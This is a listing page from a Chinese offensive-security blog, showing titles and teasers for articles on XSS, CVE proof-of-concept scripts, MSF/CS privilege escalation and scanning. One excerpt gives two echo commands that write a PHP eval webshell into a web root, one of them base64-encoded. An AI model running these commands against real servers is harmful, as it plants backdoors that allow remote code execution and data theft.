xss-admin-XSS博客-第8页
steam 某站的XSS漏洞长度绕过限制实现攻击-XSS博客

steam 某站的XSS漏洞长度绕过限制实现攻击

所有加密文章都是博主原创或精心收集或自行翻译国外的等较高质量的文章,每篇文章都会含有一些较为不错的知识点。但是请注意,加密文章如果你想查看,那么需要你用比较有质量的文章来和博主做交...
2年前
038114
API 接口测试-XSS博客

API 接口测试

一、API 接口介绍 1.1 RPC(远程过程调用) 远程过程调用(英语:Remote Procedure Call,缩写为 RPC)是一个计算机通信协议。该协议允许运行于一台计算机的程序调用另一台计算机的子程序,而程...
2年前
025614
记php命令执行写shell-XSS博客

记php命令执行写shell

php代码执行&命令执行 getshell echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4=|base64 -d > /var/www/html/shell.php echo \<\?php eval\(\@\$_POST\[1\]\)\; \?\> >1.php bypass 绕过...
2年前
018714
如何利用钟馗之眼(zoomeye)手动获取酒店节目源-XSS博客

如何利用钟馗之眼(zoomeye)手动获取酒店节目源

前面有用到fofa的空间测绘获取酒店源和组播源,今天试试钟馗之眼来获取酒店源: 利用工具网络测绘:钟馗之眼(https://www.zoomeye.org/) 一、酒店源获取 首先需要找到有效的酒店源IP,其次在...
2年前
065714
BT-Panel Linux自动磁盘挂载工具1.8(2024/7/10更新)-XSS博客

BT-Panel Linux自动磁盘挂载工具1.8(2024/7/10更新)

BT-Panel Linux自动磁盘挂载工具1.8(2024/7/10更新)
图片XSS模块一 使用讲解 获取对方后台、对方信息等数据-XSS博客

图片XSS模块一 使用讲解 获取对方后台、对方信息等数据

图片XSS模块一 使用讲解 获取对方后台、对方信息等数据
2年前
034313
cve-2024-31848-XSS博客

cve-2024-31848

影响描述 一个原型PoC,用于在嵌入式Jetty服务器上运行CData应用程序的目标上自动化漏洞分析。 只需使用-u或--url来指定目标,脚本就会尝试检索getSettings.rsb?文件,存在于所有CData实例中。...
2年前
019413
MSF/CS框架提权姿势-XSS博客

MSF/CS框架提权姿势

MSF/CS框架提权姿势
2年前
025013
[在野0day]-CVE-2023-49785-XSS博客

[在野0day]-CVE-2023-49785

一:漏洞描述 NextChat(又名 ChatGPT-Next-Web)是用户最流行的独立 Gen AI 聊天机器人应用程序之一。用户可以通过这个程序与GPT进行交互。这是一个GitHub项目,拥有超过 63K+ 的 star 和 52K+...
2年前
037513
Laravel漏洞扫描-XSS博客

Laravel漏洞扫描

Laravel漏洞扫描
2年前
035513